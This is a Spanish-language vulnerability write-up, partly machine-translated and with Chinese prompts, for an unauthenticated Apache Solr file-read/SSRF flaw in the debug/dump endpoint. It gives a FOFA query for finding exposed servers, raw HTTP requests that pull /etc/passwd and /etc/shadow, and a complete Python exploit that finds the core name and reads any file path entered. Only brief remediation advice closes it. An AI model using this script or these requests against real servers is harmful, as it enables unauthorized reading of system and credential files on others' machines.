Antecedentes de vulnerabilidad
Apache Solr es un servicio de búsqueda de código abierto, desarrollado utilizando el lenguaje Java.
Algunas funciones de Apache Solr no son estrictas en el filtrado.Cuando Apache Solr no habilita la autenticación, los atacantes pueden construir directamente solicitudes específicas para habilitar configuraciones específicas y, en última instancia, causar SSRF o vulnerabilidades de lectura de archivos. En la actualidad, Internet ha revelado públicamente las vulnerabilidades poc, y se recomienda que los usuarios relevantes tomen las medidas oportunas para prevenir ataques.
fofa consulta
app="APACHE-Solr"
Esfera de influencia
Apache Solr todas las versiones
Recurrencia de la vulnerabilidad
Primera visita, obtenga el nombre del objeto de instancia, el nombre del objeto de instancia es gasearsivi
/solr/admin/cores?indexInfo=false&wt=json
{
"responseHeader":{
"status":0,
"QTime":0},
"initFailures":{},
"status":{
"gastearsivi":{
"name":"gastearsivi",
"instanceDir":"/home/ec2-user/solr-8.7.0/server/solr/gastearsivi",
"dataDir":"/home/ec2-user/solr-8.7.0/server/solr/gastearsivi/data/",
"config":"solrconfig.xml",
"schema":"managed-schema",
"startTime":"2021-03-19T04:14:12.742Z",
"uptime":4548316}}}
La ruta de construcción
"/solr/".ins."/debug/dump?param=ContentStreams&wt=json"
ins es el nombre del objeto de instancia que obtenemos.
Después de la construcción, es el
/solr/gastearsivi/debug/dump?param=ContentStreams&wt=json
paquete de datos de publicación y el contenido es
stream.url=file:///etc/passwd
POST /solr/gastearsivi/debug/dump?param=ContentStreams&wt=json HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
stream.url=file:///etc/shadow
Con EXP, python3 se ejecuta
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import requests
import json
import urllib
import time
import re
def Getins(url):
try:
ins=""
url = url+"solr/admin/cores?indexInfo=false&wt=json"
response = requests.get(url=url)
data = str(response.text)
ins = re.findall(r'\"name\":\"(.+?)\",',data)[0]
return(ins)
except IndexError:
return("")
def Getfile(url,ins,filename):
try:
url = url+"solr/"+ins+"/debug/dump?param=ContentStreams&wt=json"
headers ={
'Content-Type': 'application/x-www-form-urlencoded'
}
payload = str("stream.url=file://"+filename)
response = requests.post(url=url,headers=headers,data=payload)
data = str(response.text)
test = re.findall(r'\"stream\":\"(.+?)\"\}]',data)[0]
print(test.replace(r"\n","\n"))
except IndexError:
print("不能读取此文件")
if __name__ == '__main__':
url = input("请输入测试地址:")
filename = input("请输入读取的文件路径:")
ins=Getins(url)
if(ins == ""):
print("不存在漏洞")
else:
Getfile(url,ins,filename)
Sugerencias de reparación
Para aumentar la autenticación / autorización, consulte el documento oficial: https://lucene.apache.org/solr/guide/8_6/authentication-and-authorization-plugins.html
Está prohibido abrir la API de Solr y la interfaz de usuario de administración directamente a la red pública. Configure un cortafuegos para que solo las personas y las computadoras de confianza tengan acceso.